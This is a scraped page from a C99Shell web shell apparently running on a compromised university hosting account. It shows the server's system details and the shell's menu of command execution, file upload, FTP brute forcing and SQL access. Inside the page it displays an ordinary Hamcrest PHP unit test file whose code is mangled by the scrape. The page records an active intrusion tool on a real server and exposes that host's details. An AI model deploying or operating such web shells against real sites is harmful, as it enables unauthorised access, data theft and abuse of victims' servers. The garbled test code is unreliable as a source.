!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IsEqualTest.php (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

class 
DummyToStringClass
{
    private 
$_arg;

    public function 
__construct($arg)
    {
        
$this->_arg $arg;
    }

    public function 
__toString()
    {
        return 
$this->_arg;
    }
}

class 
IsEqualTest extends \Hamcrest\AbstractMatcherTest
{

    protected function 
createMatcher()
    {
        return \
Hamcrest\Core\IsEqual::equalTo('irrelevant');
    }

    public function 
testComparesObjectsUsingEqualityOperator()
    {
        
assertThat("hi"equalTo("hi"));
        
assertThat("bye"not(equalTo("hi")));

        
assertThat(1equalTo(1));
        
assertThat(1not(equalTo(2)));

        
assertThat("2"equalTo(2));
    }

    public function 
testCanCompareNullValues()
    {
        
assertThat(nullequalTo(null));

        
assertThat(nullnot(equalTo('hi')));
        
assertThat('hi'not(equalTo(null)));
    }

    public function 
testComparesTheElementsOfAnArray()
    {
        
$s1 = array('a''b');
        
$s2 = array('a''b');
        
$s3 = array('c''d');
        
$s4 = array('a''b''c''d');

        
assertThat($s1equalTo($s1));
        
assertThat($s2equalTo($s1));
        
assertThat($s3not(equalTo($s1)));
        
assertThat($s4not(equalTo($s1)));
    }

    public function 
testComparesTheElementsOfAnArrayOfPrimitiveTypes()
    {
        
$i1 = array(12);
        
$i2 = array(12);
        
$i3 = array(34);
        
$i4 = array(1234);

        
assertThat($i1equalTo($i1));
        
assertThat($i2equalTo($i1));
        
assertThat($i3not(equalTo($i1)));
        
assertThat($i4not(equalTo($i1)));
    }

    public function 
testRecursivelyTestsElementsOfArrays()
    {
        
$i1 = array(array(12), array(34));
        
$i2 = array(array(12), array(34));
        
$i3 = array(array(56), array(78));
        
$i4 = array(array(1234), array(34));

        
assertThat($i1equalTo($i1));
        
assertThat($i2equalTo($i1));
        
assertThat($i3not(equalTo($i1)));
        
assertThat($i4not(equalTo($i1)));
    }

    public function 
testIncludesTheResultOfCallingToStringOnItsArgumentInTheDescription()
    {
        
$argumentDescription 'ARGUMENT DESCRIPTION';
        
$argument = new \Hamcrest\Core\DummyToStringClass($argumentDescription);
        
$this->assertDescription('<' $argumentDescription '>'equalTo($argument));
    }

    public function 
testReturnsAnObviousDescriptionIfCreatedWithANestedMatcherByMistake()
    {
        
$innerMatcher equalTo('NestedMatcher');
        
$this->assertDescription('<' . (string) $innerMatcher '>'equalTo($innerMatcher));
    }

    public function 
testReturnsGoodDescriptionIfCreatedWithNullReference()
    {
        
$this->assertDescription('null'equalTo(null));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0114 ]--